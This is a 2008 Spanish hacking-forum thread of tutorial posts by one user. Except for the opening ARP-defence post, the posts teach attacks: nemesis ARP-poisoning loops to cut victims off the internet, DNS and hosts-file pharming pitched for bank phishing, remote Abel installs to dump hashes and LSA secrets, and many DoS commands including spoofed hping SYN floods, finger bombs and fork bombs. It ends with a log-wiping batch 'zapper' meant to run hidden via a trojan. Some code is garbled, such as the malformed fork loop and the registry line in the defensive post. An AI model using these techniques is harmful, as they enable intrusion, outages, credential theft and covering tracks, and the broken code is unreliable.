Autor Tema: Manual ¿Como convertirse en Hacker? [EN CONSTRUCCION]  (Leído 49870 veces)

0 Usuarios y 3 Visitantes están viendo este tema.

Desconectado fNiX

  • IH | Ex Staff's
  • User Infernal
  • *
  • Mensajes: 573
  • Sexo: Masculino
    • para no olvidar xD
Como Evitar Ataques de Envenenamiento ARP by fNiX
« Respuesta #30 : 26/10/2008, 01:28:15 pm »
Como Evitar Ataques de Envenenamiento ARP
Aqui explicare de que manera nos podemos defender de este tipo de ataque
Conocimiento Previo:
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login

Herramientas:
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login

Video Tutorial:
You are not allowed to view links. Register or Login

Maneras de defenderse del ataque:

1-ARP Watch (linux)
ARP Watch es una herramienta para sistemas linux que nos puede ayudar a detectar el envenenamiento ARP en nuestro sistema operativo.
con esta herramienta podemos comprovar la correspondencia entre pares (IP/MAC). en el caso en que se este provocando un ataque ARP Watch manda un correo de notificacion a la cuenta administrador del sistema.
Tambien puede detectar nuevos host en la red
(si alguien falsifica su IP/MAC para hacer un ataque de envenenamiento ARP)

2-ARP Guard (hardware)
ARP guard es un hardware que nos permite reconocer las amenazas
de un posible ataque de enevenenamiento ARP.
esta constantemente observando los paquetes ARP
y si detecta alguna anomalia manda un mensaje a el administrador de la red
con el origen del ataque.

3-Asignacion Estatica en la tabla de entradas ARP

El ataque de envenenamiento ARP consiste en modificar las entradas en las tablas ARP. el sistema es vulnerable por que puede moverse. entonces sencillamente dejemoslo fijo y que nadie lo pueda mover =D

Bien esto es un poco mas complicado, asi que pongan atencion.
existen dos maneras de añadir una entrada a una tabla ARP.

1º Forma Automatica
Es lo que hace nuestro PC todo el tiempo sin que nos demos cuenta

2º Forma Manual
De la manera manual nosotros podemos dejar inmutable incluso apagado el sistema de dicha entrada en la tabla ARP.

Para añadir una ARP en un sistema esta es la Sintaxis:

[Direccion IP] --> Direccion IP del Host
[Direccion MAC] --> Direccion MAC del Host

De esta manera las Direcciones MAC quedan Grabadas.
y por mucho que el PC atacante intente hacer un ataque envenenamiento ARP No lo podria haber logrado =D
Y si ubiesemos tenido el sofware ARP Watch (en linux)
podriamos haber sabido quien fue el que intento hacer el ataque.

Eso si esto tiene Una Falla, al apagar el PC las tablas ARP se encontraran vacias al volver a prender el PC, y eso nos vuelve vulnerables al ataque.
pero sencillamente debemos de crear un .bat que haga que se inicie con windows siempre y nunca mas nos preocuparemos de estos ataques ^^
Código: You are not allowed to view links. Register or Login
@echo off
arp -s [Direccion IP del Host] [Direccion MAC del Host]
reg add hkey_local_machine\software\microsoft\windows\currentversion\run/v virus.bat/t reg_sz /d C:\windows\system32 /f
exit

Salu2! y espero que les guste

Desconectado fNiX

  • IH | Ex Staff's
  • User Infernal
  • *
  • Mensajes: 573
  • Sexo: Masculino
    • para no olvidar xD
Dejar sin internet a otro PC por envenenamiento ARP by fNiX
« Respuesta #31 : 26/10/2008, 01:28:51 pm »
Dejar sin internet a otro PC por envenenamiento ARP
Conocimiento Previo:
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
Herramientas:
You are not allowed to view links. Register or Login

Introduccion:
Todo equipo accede a internet por medio de un router, y el equipo reconoce a el router por su direccion IP (que es traducida a direccion MAC) a travez del protocolo ARP. por lo que el equipo accede a internet mandando paquetes a la direccion MAC del router. para que se entienda es como los carteros,cuando tu mandas una carta tienes que poner la direccion de la persona a la cual tu le mandas la carta, para que el cartero la lleve a la direccion correcta, es exactamente lo mismo, nuestro Pc debe de conocer la direccion MAC del router para que por ARP nos podemos conectar.

si el equipo atacante logra engañar a el PC de la victima y le hace creer q la direccion MAC del router es otra "inexistente" el equipo victima no podra llegar al router, por lo que no podra llegar a internet, osea para que lo entiendan es como si ustedes le dicen al cartero que coloque la carta en la calle "a" y alguien malo xD engaña al cartero y le dice que la debe dejar en la calle "z" (calle que no existe) obiamente el cartero se perdera y el mensaje no sera recivido, es lo mismo, si engañamos al pc y le decimos que se conecte por un router que no existe, no tendremos internet =D

Para lograr esto debemos de mandar un codigo malicioso suplantando la identidad del router y diciendole a el pc de nuestra victima que debe actualizar su tabla ARP con la nueva direccion (IP/MAC) inexistente

Esto se logra con Envenenamiento ARP

Al ataque:
Supongamos que las cosas son asi:
IP atacante --> 172.20.43.208
IP vicitma --> 172.20.43.207
IP router --> 172.20.43.206

Lo primero que debemos de hacer es conseguir las Direcciones (IP/MAC) de la victima y del router para eso debemos de hacerles ping:


Ahora debemos obtener la tabla caché ARP de direcciones MAC de el router y de la victima, y esto se hace con el comando arp -a


Perfecto ahora ya tenemos todo lo basico ^^
Ahora es cuando debemos de ocupar nuestro inyector de paquetes
yo en lo personal ocupe nemesis, por que fue el primero de google =P
Una vez que lo descargamos colocamos el exe el system32 y listo ^^

Bueno ahora es cuando debemos de usar el paquete malicioso que envenena la tabla de cache de el ARP El cual es asi:

nemesis arp -D IPvictima -S IProuter -H MACrouter

Que en este caso seria:
Citar
nemesis arp -D 172.20.43.207 -S 172.20.43.206 -H AA:BB:CC:DD:EE:FF

Aunque despues de cierto tiempo  la víctima refrescará su tabla caché ARP con la verdadera dirección MAC del router y, entonces, sí podra tener conexión a Internet.

Entonces ustedes se preguntaran ¿como se puede hacer esto permamentemente?
Sencillo se hace con un BULCE esto se hace en el nemesis con el comando FOR
El comando es este:
Citar
C:\>FOR /L %i IN (1,1,5000) DO nemesis arp -D 172.20.43.207 -S 172.20.43.206 -H AA:BB:CC:DD:EE:FF

De esta manera nuestra victima no se podra conectar a internet ^^

Salu2!

Desconectado fNiX

  • IH | Ex Staff's
  • User Infernal
  • *
  • Mensajes: 573
  • Sexo: Masculino
    • para no olvidar xD
Como Hacer Pharming con Cain & Abel by fNiX
« Respuesta #32 : 26/10/2008, 01:30:02 pm »
Como Hacer Pharming con Cain & Abel by fNiX
Conocimiento Previo:
You are not allowed to view links. Register or Login <---- Intro al Cain y Abel
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
Herramientas
You are not allowed to view links. Register or Login

Teoria
un servidor DNS se ve afectado por el ataque de envenenamiento y provoca que el acceso a una web hecha por el usuario afectado de este servidor son redireccionadas a otra dirección (sitio web falso) bajo el control de
los atacantes.

Explicacion Simple:
Si cambiamos el DNS de la victima y le decimos que You are not allowed to view links. Register or Login
Tiene la IP de You are not allowed to view links. Register or Login
entonces cuando la persona se meta a You are not allowed to view links. Register or Login ira directamente a You are not allowed to view links. Register or Login ¿Interesante no?
y lo mejor es que esto se puede hacer con cualquier tipo de pagina =D

Este ataque se puede hacer desde envenenamiento DNS
o Tambien se puede hacer modificando el archivo Hosts
Esto tiene el nombre de Pharming

que pronto hare un manual de esto =D

Comenzemos
Primero debemos de sniffear la Red
¿Listo?
Bien entonces mientras nosotros sniffeamos los paquetes nos vamos a la pestaña [APR-DNS]

Luego hacemos lo que aparece en la Imagen:

Y nos aparecera esta pantalla:

en donde dice DNS Name Request
colocamos la pagina que queremos redirigir
y en IP address to rewrite in response packets
colocamos la IP de la pagina a la que vamos a dirigir

osea cada vez que la victima se meta a la pagina You are not allowed to view links. Register or Login
se le redirigira a la pagina que tenga la IP (69.69.69.69)
[Esto es solo un ejemplo]
Bueno yo en este caso coloque Google.es y la ip de una pagina X:
veamos los resultados =D

¿Que loco no?
podemos hacer travesuras con esto...
pero se imaginan usaramos esta ataque para phishing?
mmm... ¿soy el unico que mide la gravedad de la situacion?

Salu2!

Desconectado fNiX

  • IH | Ex Staff's
  • User Infernal
  • *
  • Mensajes: 573
  • Sexo: Masculino
    • para no olvidar xD
Manual Abel by fNiX
« Respuesta #33 : 26/10/2008, 01:30:50 pm »
Manual Abel by fNiX
Conocimiento Previo:
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login

Hola a todos, suponiendo que ya tienen el conocimiento previo, explicare aqui que rayos es abel, como pueden ver en los manuales anteriores nosotros hemos usado Cain que es nuestro querido sniffer pero el programa se llama "Cain y Abel"
pues ahora explicare que es abel y como lo podemos ocupar.

Introduccion
Abel es una aplicacion aparte de Cain, es un servicio NT
Cuando instalamos nuestro "Cain y Abel" se instala nuestro sniffer (cain)
y se copia nuestro abel, pero Abel no se instala.
por eso nosotros debemos de instalar Abel
[Desde la PC victima] o [Remotamente]
¿Donde se encuentra Abel?

Abel se encuentra en la misma Ruta en la que instalamos Cain
Y consta de dos archivos Abel.exe y Abel.dll

¿que cosas nos permite hacer Abel?
Abel es conciderado como un servicio NT de Windows y nos ofrece muchas cosas entre ellas "Tabla UDP" "Tabla TCP" "Hashes" "Remote Console"
Entre otras cosas...

¿Como Instalar Abel?
1- Haciendole Doble Clic (xD)
2-Por DOS
Código: You are not allowed to view links. Register or Login
C:\Archivos de programa\Caín\Abel

Y para desinstalar:
Código: You are not allowed to view links. Register or Login
C:\Archivos de programa\Caín\Abel -r
Ahora nuestro Abel esta instalado
pero no se encuentra funcionando, para hacerlo funcionar vamos a:

Y nos aparecera una ventana pidiendonos la direccion Ip
en este caso yo coloque esta:

Y luego nos conectamos al Pc...

Despues de eso nos pedira un Username y una password
Pues yo en este caso quiero entrar como administrador

Luego de eso en nuestro Cain nos apareceran 4 Opciones


*Groups = Muestra las cuentas de usuarios
*Services = Muestra los servicios que estan corriendo en el pc
*Shares = Muestra las carpetas o documentos compartidos
*Users = Muestra los usuarios remotos

Pues esto supongo que se puede deducir... Abel es un servicio...
entonce si lo desemos instalar debemos de hacer clic derecho en *Services
y luego hacer clic en "Install Abel" y luego se instalara remotamente..

Breve Explicacion de Los Servicios que nos ofrece Abel:

*TCP Table
Nos muestra una tabla con las conexiones TPC del pc
*UDP table
Nos muestra una tabla con la conexiones UDP del pc
*Console
Nos ofrece una shell remota del pc victima
*Hashes
Nos muestra todos los Hashes del pc victima
*Lsa Secrets
Nos muestra las llaves de esta direccion del registro:
HKEY_LOCAL_MACHINE\Security\Policy\Secrets
*Routes
nos muestra un "Route Print" del pc victima. osea:
muestra una lista con las rutas actuales conocidas por IP para el equipo

Desconectado fNiX

  • IH | Ex Staff's
  • User Infernal
  • *
  • Mensajes: 573
  • Sexo: Masculino
    • para no olvidar xD
Manual de Pharming por archivo Hosts by fNiX
« Respuesta #34 : 26/10/2008, 01:33:41 pm »
Manual de Pharming por archivo Hosts
By fNiX

Conocimiento Previo:
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
-Propagacion de Archivos Malignos [P2P]
-Adjuntar Archivos

Suponiendo que ya entienden todo el conocimiento previo entonces me pongo a explicar que tipo de tecnica vamos a usar [teoria+Practica]

1-Modificando Nuestro Archivo Hosts
- Vamos a la ruta --> C:\WINDOWS\system32\drivers\etc

-Luego le hacemos doble clic y elejimos abrirlo con Bloc de Notas
-y podremos ver nuestro archivo Hosts en un bloc de notas

Suponiendo que ya sabemos en que consiste el archivo hosts explicare como podemos poner las entradas:

Ejemplo:
Código: You are not allowed to view links. Register or Login
208.65.153.238       youtube.com
2-Sacar direccion IP de un sitio WEB
- Inicio --> Ejecutar --> Cmd
-Ping You are not allowed to view links. Register or Login

y como pueden ver en la Imagen tenemos la IP de la pagina

3-Evitar Acceso a una Pagina WEB
-vamos al archivo Hosts
- Escribimos:
Código: You are not allowed to view links. Register or Login
127.0.0.1 pagina.que.queremos.bloquear.com
-Ejemplo:

En este caso no podremos acceder ni a google ni a softonic ^^
NOTA
Algunos virus modifican el archivo hosts impidiendo el acceso a sitios web como scanners online o paginas que analizen virus. hace tiempo me paso algo parecido, no podia acceder a ninguna pagina que tenga que ver con antivirus, esto me llamo la atencion y revise mi archivo host y ... eureca!

4-Ejemplo Basico de Pharming [Teoria]
Supongamos que en nuestro archivo Hosts ponemos:
Código: You are not allowed to view links. Register or Login
[IP] google.esIP = You are not allowed to view links. Register or Login
Pagina = google.es
Entonces en ese caso... cada vez que nos queramos meter a google.es nos redireccionara a You are not allowed to view links. Register or Login, en este caso podriamos decir que este ataque es solo una redireccion, pero se imaginan se usara esta redireccion para hacer Phishing? y robar datos de cuentas de banco...

5-Ejemplo de un Caso Real de Pharming
Esto es solo un ejemplo de como los criminales roban cuentas de banco con Pharming, esto solo lo posteo con fines EDUCATIVOS y con la Intencion de que la gente mida el peso de estos ataques

[Caso Hipotetico]
El delincuente desea conseguir la contraseña de banco a una persona X
Delincuente = Atacante
X = Victima
You are not allowed to view links. Register or Login = pagina de banco a la que se mete la victima

1-EL Delincuente Crea Una pagina igual a la de la pagina You are not allowed to view links. Register or Login
[Esto no lo explicare, deberan de saberlo ustedes]
2-El delicuente Crea un Archivo Hosts para el Ataque

3- El deliencuente adjunta el archivo Hosts a Otro archivo
4-el delincuente manda el archivo hosts adjunto con otro archivo a la persona X, y el Archivo Hosts se descompime en la Ruta:
C:\WINDOWS\system32\drivers\etc
suplantando al archivo Hosts ya existente.

[Finalmente]
La persona  se metera a la pagina falsa pensando que es la pagina del banco, metera su contraseña y el delincuente podra tener acceso a la contraseña

6-Extras
si el archivo hosts adjunto se propagara por un servidor P2P, no solo el delincuente podria robar la cuenta de banco de la persona X, sino que de todas las personas que descargaron el archivo

7-¿Como Prevenir Pharming?
-Tener antivirus con Analizis Heuristicos
-Tener buenos antivirus, Firewalls, etc
-Tener cuidado con los archivos que recivimos

Desconectado fNiX

  • IH | Ex Staff's
  • User Infernal
  • *
  • Mensajes: 573
  • Sexo: Masculino
    • para no olvidar xD
Porgramas que debemos dominar [Nmap,Nemesis,Hping] <Conceptos TCP/IP>
« Respuesta #35 : 25/11/2008, 05:40:40 pm »
Porgramas que debemos dominar
A estas alturas nosotros deberiamos de tener dominados al 100% estos 3 programas:

-Nmap
-Nemesis
-Hping
-<conceptos TCP/IP>

en tal caso que no los dominen aqui les dejo manuales para los programas:
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login

igualmente si quieren manuales mejores busquen en google
pero dominar estos programas al 100% es sumamente necesario
« Última Modificación: 25/11/2008, 06:00:44 pm por fNiX »

Desconectado fNiX

  • IH | Ex Staff's
  • User Infernal
  • *
  • Mensajes: 573
  • Sexo: Masculino
    • para no olvidar xD
Ataques DOS/DDOS
« Respuesta #36 : 25/11/2008, 05:53:45 pm »
introduccion a los ataques DOS/DDOS
n seguridad informática, un ataque de denegación de servicio, también llamado ataque DoS (de las siglas en inglés Denial of Service), es un ataque a un sistema de computadoras o red que causa que un servicio o recurso sea inaccesible a los usuarios legítimos. Normalmente provoca la pérdida de la conectividad de la red por el consumo del ancho de banda de la red de la víctima o sobrecarga de los recursos computacionales del sistema de la víctima.

Se genera mediante la saturación de los puertos con flujo de información, haciendo que el servidor se sobrecargue y no pueda seguir prestando servicios, por eso se le dice "denegación", pues hace que el servidor no de abasto a la cantidad de usuarios. Esta técnica es usada por los llamados crackers para dejar fuera de servicio a servidores objetivo.

Fuente: Wikipedia

Ejemplo de un ataque DOS [Ataque DOS con Net Send by fnix]
Ataque DOS con NetSend MS-DOS
Hola a todos Hoy les explicare como hacer un ataque DOS con el MS-DOS
a un compu...dor que se encuentre en Red ^^
Bueno primero que nada debo decir que esto se hace con el comando del MS-DOS
net Send lo que hace este comando es mandar un mensaje a un compu...dor que se encuentre en Red ^^
Bueno primero que nada debemos conocer su Sintaxis:

Para reconocer el Nombre de la persona a la cual le queremos hacer el DOS
ocupamos el comando Net View y luego seguimos la sintaxis =D

Bien ahora explicare como Rayos podemos hacer un DOS con este comando.
Bueno cabe decir que para eso necesitamos saber sobre BATCH
para los que no saben pueden encontrar manuales en el foro ^^
Abrimos nuestro bloc de notas y ponemos nuestro codigo:

Entonces le mandaremos tantos mensajes que se jodera ^^
para hacerlo mas eficaz es recomendable hacer varios batch ^^

Bueno ahora explicare como se puede hacer con este mismo ataque
un DOS a TODOS los compu...dores de la Red ^^
bueno en resumidas palabras el codigo del batch es este:


Sencillamente con poner el * se manda el mensaje
a todos los compu...dores de la red, para mas efectividad
es recomendable ejecutar varios Batch ^^

Bueno eso ha sido todo por hoy, como no estaba publicado en el foro
bueno pues me senti en la obligacion de postearlo ^^

Salu2!

Documentacion sobre ataques DOS/DDOS
DENIAL OF SERVICE -Introduccion-
-=La biblia del terrorista=-
por: Swoish

Los ataques conocidos como `denial of service' son en internet lo "in" o
"de moda" por la facilidad con que pueden hacerse. Lo unico dificil o
complicado es conseguir un servidor desde donde lanzar el ataque.
Debido a la anatomia de Internet es muy dificil localizar al atacante ya
que antes de llegar al objetivo una señal pasa por distintos servidores que
deben ser examinados uno por uno antes de llegar al servidor hostil.

El ataque consiste en descomponer servicios de un host sin permiso como
ejemplo estrellar un sistema. Protegerse de este tipo de ataques es muy
dificil debido a que el sistema UNIX asume que todo funciona correctamente
mientras el ataque esta en progreso.

Las razones por las que cualquier persona pueda estrellar un sistema son
muchas y las mas probables son:
-Debido al status subcultural de la persona.
-Ganar acceso.
-Venganza.
-Razones politicas.
-Razones economicas.
-Por que si.

Es facil ganar acceso a un sistema usando el ataque denial of service ya
que es un gatillo que dispara otro tipos de `agujeros' en un sistema. Comunes
ejemplos pueden ser las versiones antiguas de X-lock que permitian el acceso
al sistema una vez este ha sido estrellado. Para corregir el error es
necesario el acceso fisico al servidor.
El inundado del Syn o Syn flooding puede ser tan solo una parte de un ataque
del tipo IP-spoof.
Tambien algunos programas tienen `agujeros' bajo su startup que pueden ser
usados para ganar status root. Por ejemplo SSH (secure shell).
Bajo un ataque se puede restringir el acceso a ciertas personas al servidor
por lo tanto evitar que realizen su trabajo.

EXISTEN ALGUNOS SISTEMAS OPERATIVOS MAS SEGUROS?
================================================

Esta es una pregunta dificil de contestar y creo que todo depende del
administrador de un sistema UNIX.

Una comparacion con Windows 95 o NT puede ser interesante debido a la gran
cantidad de errores que han sido encontrados en ambos sistemas.
Los sistema UNIX son mucho mas complejos y tienen cientos de programas
adheridos que proporcionan diferentes servicios lo que engrandece el margen
al error desde adentro.

Usando Windows 95 o NT uno se arriesga a distintos metodos de estrellar la
maquina que probablemente funcionarian aunque existen algunos que siempre
funcionan.

En realidad no existe gran diferencia entre Microsoft y UNIX excepto que en
uno de los sistemas se necesita mas preparacion [ adivinen cual? ] que en
el otro. Existen dos puntos importantes que deben considerarse:

- Unix tiene mas herramientas de diagnostico para descubrir un ataque
y monitorear a los usuarios que cualquier otro sistema. Ver que es lo
que trama un usuario bajo Windows es muy dificil.

- El promedio de los administradore s Unix tiene mas experiencia que
un tipico administrador de una red microsoft.

Estos dos ultimos puntos le dan ventaja a Unix contra los ataques de negacion
del servicio o denial of service.

Una comparacion de Microsoft y Unix concerniendo ataques externos es mucho
mas dificil. De cualquier forma es una hecho que las redes Microsoft son
mas seguras que las redes Unix debido a que ofrecen menos servicios que un
sistema Unix standard.

OBJETIVOS BASICOS DE UN ATAQUE
==============================

1.Espacio swap
~~~~~~~~~~~~~~
La mayoria de los sistemas tienen cientos de megabytes reservados al espacio
swap para resolver las peticiones del cliente. El espacio swap es tipicamente
usado para forjar procesos menores que tienen un periodo de vida corto. Asi
pues el espacio swap bajo ninguna causa debera ser usado rigurosamente. Una
negacion de servicio podria estar basada en un metodo que trate de llenar el
espacio swap.

2.Tablas del Kernel
~~~~~~~~~~~~~~~~~~~
Es trivial sobrecargar las tablas del kernel para ocasionar serios problemas
al sistema. Los sistemas que escriben a traves de caches y buffers pequeños
son especialmente sensitivos.

Otro objetivo susceptible es el kernel memory allocation. Todo Kernel o
cerebro tiene un limite para la memoria en su mapa de memoria, si el sistema
alcanza este limite el cerebro no puede colocar mas memoria y el sistema debe
ser reboteado. La memorial del kernel no solo es usada para procesos del
CPU, monitores y asi, pero tambien para procesos ordinarios lo que significa
que cualquier sistema puede ser estrellado con un buen algoritmo lo bastante
rapido. [ trucos disponibles en numeros anteriores de la revista  ]

3. RAM
~~~~~~
Una negacion del servicio que ocupe grandes cantidades de RAM puede ocasionar
bastantes problemas. NFS y servidores de correo con extremadamente sensitivos
porque casi nunca ocupan mucho RAM por lo tanto tienen poco RAM asignado. Un
ataque a un servidor NFS es comun. El cliente de NFS normal puede hacer mucho
uso del cache, pero un cliente NFS puede ser cualquier programa inclusive uno
que hayas escrito tu mismo...

4. Discos
~~~~~~~~~
Un ataque clasico es llenar el disco duro.


ATACANDO DESDE FUERA
====================

Usando finger
~~~~~~~~~~~~~
La mayoria de las instalaciones de fingerd dejan redireccionar a otro host.
Ejemplo:

$finger @sistema.dos.com@sistema.uno.com

Finger en el ejemplo tendra que ir a traves del sistema.uno.co m y despues al
sistema.dos.co m. Todo lo que el sistema.dos.co m sabe es que el
sistema.uno.co m esta contactandole usando finger. Este metodo puede ser usado
para esconderte, pero tambien para hacer uso de un truco sucio. Ejemplo:

$ finger @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@host.que.atacamos.com

Todos esos signos @ ocasionaran que finger llame a host.que.ataca mos.com una
y otra vez... El efecto es desastroso para host.que.ataca mos.com resultando
en un uso alto del ancho de banda, falta de memoria y un disco duro con menos
espacio debido a todos los procesos creados.

La solucion es instalar un fingerd que no soporte redirecciones, por ejemplo
el finger GNU. Tambien puedes desinstalar el servicio finger.

Usando telnet
~~~~~~~~~~~~~
Examina este script:

while : ; do
telnet sistema.que.at acamos.com &
done

Un ataque de este tipo comera algo del ancho de banda pero no es nada
comparado con el metodo fingerd. El punto es que algunas firewalls y httpd:s
piensan que el ataque es una loop y se apagan automaticament e hasta que el
administrador mate el proceso con kill -HUP

Broadcast Storms
~~~~~~~~~~~~~~~~
Este es un metodo muy popular en la redes donde todos los hosts actuan como
gateways.
Existen muchas versiones del ataque pero el metodo basico es mandar muchos
paquetes a todos los hosts de la red con una direccion destino inexistente.
Cada host tratara de mandar los paquetes asi que estos `rebotaran' por la red
un buen rato.

Los servicios que pueden ser abusados para hacer esto son ping, finger y
sendmail.

Email Bombing
~~~~~~~~~~~~~
En un ataque de email se envian muchos mensajes identicos a una o muchas
direcciones del host. El efecto en el objetivo es un alto uso del ancho
de banda y menos espacio en disco... Cuando envias muchos mensajes a una
direccion inexistente del host desde otra inexistente un mensaje se
convertira en 3 y regresara para convertirse en 3 de nuevo y asi... Por
mas odioso que se vea este ataque es bastante efectivo y aun no es ilegal
en muchos paises latinoamerican os y europeos.

Ejemplo:
Envia un mail de 100k a You are not allowed to view links. Register or Login desde una direccion que
no exista como You are not allowed to view links. Register or Login
Cuando el mensaje llege a host.atacado.c om como no existe la direccion
noexiste regresara el mensaje a You are not allowed to view links. Register or Login y como esta
direccion tampoco existe ... regresara ahora como un mensaje de 300k y asi...

Otra forma de abusar el email y servidores norteamericano s es juntar varios
remailers. Por ejemplo:
Suponiendo que tenemos nosotros una cuenta en Geocities. Digamos
You are not allowed to view links. Register or Login y le decimos que queremos que el mail que llegue a esa
direccion lo mande a You are not allowed to view links. Register or Login. Ahora en la cuenta You are not allowed to view links. Register or Login
le decimos que lo mande a You are not allowed to view links. Register or Login. Y en la cuenta You are not allowed to view links. Register or Login le
decimos que lo mande a You are not allowed to view links. Register or Login ... Despues mandamos un mega o dos
a You are not allowed to view links. Register or Login que lo mandara a You are not allowed to view links. Register or Login y de ahi a
You are not allowed to view links. Register or Login y de nuevo a You are not allowed to view links. Register or Login ... este ataque es lame si
en vez de un mega mandas unos 5 !! En fin, espera represalias si te animas
a hacerlo.


Abuso del FTP anonimo
~~~~~~~~~~~~~~~~~~~~~
Si un servidor FTP anonimo tiene un area que pueda ser escrita puede ser
abusada para un ataque de negacion del servicio. Obviamente el objeto seria
llenar el disco duro.

SYN FLOODING
~~~~~~~~~~~~
El mas famoso de los ataques del tipo denial of service. Phrack y 2600 han
publicado extensos articulos sobre este ataque y codigo para hacerlo.

El ataque se basa en un saludo entre dos hosts incompleto. El host hostil
envia un paquete SYN pero no responde al paquete ACK ocasionando que el
stack TCP/IP espere cierta cantidad de tiempo a que el host hostil responda
antes de cerrar la conexion. Si creamos muchas peticiones de conexion y
no se responde a ninguna el host estara inactivo mucho tiempo esperando
respuesta ocasionando lentitud en los demas servicios.

Ping Flooding
~~~~~~~~~~~~~
Este metodo tiene un gran efecto en el sistema atacado.

Bajo Unix nosotros podriamos intentar algo como: ping -s host
para mandar paquetes de 64 bytes.

Si tienes Windows 95, has click en start, elige run y escribe:
PING -T -L 256 host.que.ataca mos.com y comienza 15 sesiones iguales.


Crashing usando Ping
~~~~~~~~~~~~~~~~~~~~
Para detener a un sistema desde una maquina corriendo Windows 95 simplemente
ejecuta:

ping -l 65510 host.que.ataca mos.com

Y el sistema se detendra o se re-iniciara.


ATACANDO DESDE DENTRO
=====================

Llenando el disco duro
~~~~~~~~~~~~~~~~~~~~~~~

Si en tu sistema puedes usar el directorio temporal /tmp - /temp /pub/tmp -
pub/temp - pub/incoming o /incoming entonces es posible que llenes el disco
usando un script parecido a este:

while : ;
mkdir .xxx
cd .xxx
done


Uso malicioso de fork()
~~~~~~~~~~~~~~~~~~~~~~~
Si alguien ejecuta este programa C++ el resultado sera un crash en la mayoria
de los sistemas.

#include <sys/types.h>
#include <unistd.h>
#include <iostream.h>

main()
{
int x;
while(x=0;x<1000000;x++)
{
system("uptime");
fork();
}
}


Para generar un ataque mas sangriento puedes cambiar el comando uptime por
sync.

Crear archivos dificiles de remover
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Todos los archivos pueden ser borrados pero aqui hay algunos dificiles:
( $ simboliza el prompt, ^C es igual a CTRL + C. )

1.-
$ cat > -xxx
^C
$ ls
-xxx
$ rm -xxx
rm: illegal option -- x
rm: illegal option -- x
rm: illegal option -- x
usage: rm [-fiRr] file ...
$

2.-
$ touch xxx!
$ rm xxx!
rm: remove xxx! (yes/no)? y
$ touch xxxxxxxxx!
$ rm xxxxxxxxx!
bash: !": event not found
$


Ataque CSH
~~~~~~~~~~
Ejecuta esto bajo /bin/csh despues de modificarlo con el path propio del
shell csh de tu sistema. Busca este path en tu archivo .login

|I /bin/csh
nodename : **************b


DUMPING CORE
============

Uso malicioso de Netscape
~~~~~~~~~~~~~~~~~~~~~~~~~
Bajo Netscape 1.1N este link resultara en un fault de segmentacion y el
sistema arrojara el core.

<a name="You are not allowed to view links. Register or Login.
xxx.xxx.xxx.xx x.xxx.xxx.xxx. xxx.xxx.xxx.xx x.xxx.xxx.xxxx xx.xxx.xxx.
xxx.xxx.xxx.xx x.xxx.xxx.xxx. xxx.xxx.xxx.xx xxxx.xxx.xxx.x xx.xxx.xxx.
xxx.xxx.xxx.xx x.xxx.xxx.xxx. xxxxxx.xxx.xxx .xxx.xxx.xxx.x xx.xxx.xxx.
xxx.xxx.xxx.xx x.xxxxxx.xxx.x xx.xxx.xxx.xxx ...>

You are not allowed to view links. Register or Login

----------------------------------------------------------------

Sacado del e-zine RareGazz n    º 8
Descargado de:
You are not allowed to view links. Register or Login. us
You are not allowed to view links. Register or Login. us
You are not allowed to view links. Register or Login. 8m.com

Exelente Manual de Ataques DOS/DDOS
You are not allowed to view links. Register or Login
DDoS
                       
                       Indice                                           
         

1.Introduccion
2.Explicacion detallada de los DDoS
   2.1.Hackeando una red o pc
   2.2.Sin hackear nada
      -SmurF
      -Fraggle
3.DoS sencillos
4.Tipos de Denegaciones
   -SYN flood
   -TCP FIN flood
   -Connection flood
   -Land Atack
   -Supernuke/Winnuke
   -Teardrop/Newtear
   -paquetes fragmentados
   -finger bomb
   -email bomb
   -MAC flooding
   -DNS flood
   -Bucle UDP/Snork UDP
5.Puntos debiles del SNMP
6.Jugando con los firewalls
7.Paquetes
8.filtros
   8.1.ante ICMP
   8.2.contra inundacion SYN
9.Prevencion y respuesta
10.Sobre los NIDS (Network Intrusion Detection System)
11.Bastion Hosts
12.Bastion routers
13.Conclusion

Ejemplo de ataque DOS con Hping [SYN Flood y Land Attack]

SYN Flood:

Hping -i u1 -S -p 80 dst-host-or-ip

hPing xxx.xxx.xxx.xxx --rand-source --destport 21 --syn --count 150

Explico brevemente:
rand source, enviara desde IPs aleatorias.
destport 21, ataca a la IP xxx.xxx.xxx.xxx al puerto 21
syn, obiviamente pone un 1 en el flag syn
count 150, va a enviar 150 paquetes

Land Attack:
You are not allowed to view links. Register or Login

PD: Para mas info buscar en google
« Última Modificación: 25/11/2008, 06:04:02 pm por fNiX »

Desconectado fNiX

  • IH | Ex Staff's
  • User Infernal
  • *
  • Mensajes: 573
  • Sexo: Masculino
    • para no olvidar xD
Borrando Huellas
« Respuesta #37 : 30/11/2008, 11:27:05 am »
Borrar Huellas en Windows

Cada ves que alguien hace un escaneo a un ordenador o hace cualquier intrucion
o incluso cuando usamos nuestros viejos amigos los troyanos

dejamos huellas en el ordenador
Archivos .log con nuestra IP
y algunas veces archivos de evento .evt

los log se guardan en --> C:\windows\system32\Logfiles

por lo tanto si queremos borrar nuestras huellas debemos de usar un Zapper
para los que no saben un zapper es un [programa,escript,batch,etc] que se usa mucho en el hacking
su funcion es borrar todas las huellas que dejamos al vulnerar un sistema

Aqui tienen un zapper simple hecho en batch:

Código: You are not allowed to view links. Register or Login
@echo off
cd %systemdrive%
del /f /q /s *.evt
del /f /q /s *.log
exit

por ejemplo lo podriamos ejecutar desde una shell remota o con un troyano [logicamente de manera oculta XD]
y borraria todos los .log y archivos .evt que dejamos en el ordenador ^^
bueno si quieren mas info o zapper para windows pues para eso esta san google =D

Autor: fnix

Borrar Huellas en Linux
En la mayoria de los sistemas existen 3 archivos de registro importantes:

WTMP - Todas las entradas/salidas mas tty y host.

UTMP - Quien esta en linea en el momento.

LASTLOG - De donde vinieron los logins.

